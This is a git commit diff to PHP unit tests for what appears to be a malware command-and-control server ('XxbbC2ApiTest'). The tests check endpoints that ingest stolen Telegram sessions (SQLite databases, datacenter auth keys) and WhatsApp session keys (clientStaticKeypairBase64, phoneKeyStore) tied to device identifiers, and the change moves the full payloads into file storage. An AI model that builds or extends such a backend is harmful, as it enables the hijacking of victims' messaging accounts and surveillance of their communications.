feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+28 -6
View File
@@ -387,6 +387,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
@@ -408,13 +409,20 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('123456789', $row->account_id);
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertArrayHasKey('db_sqlite', $full);
$this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null);
$this->assertTrue($device->fresh()->hasTelegram());
$this->assertFalse($device->fresh()->hasWhatsApp());
}
#[Test]
public function api_tg_t_ingests_ecid_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'ecid' => '00025D800C22001E',
'unique' => '00008101-00025D800C22001E',
@@ -432,12 +440,14 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('37603278499', $row->account_id);
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayHasKey('db_sqlite', $row->fullPayload());
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
@@ -461,12 +471,22 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('15551234567', $row->account_id);
$this->assertSame('15551234567', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame(
PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'),
$row->payload['payload_path'] ?? null
);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertTrue($device->fresh()->hasWhatsApp());
$this->assertFalse($device->fresh()->hasTelegram());
}
#[Test]
public function api_wp_t_ingests_account_data_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
@@ -489,9 +509,11 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('2348034472071', $row->account_id);
$this->assertSame('2348034472071', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertIsArray($full['phoneKeyStore'] ?? null);
}
#[Test]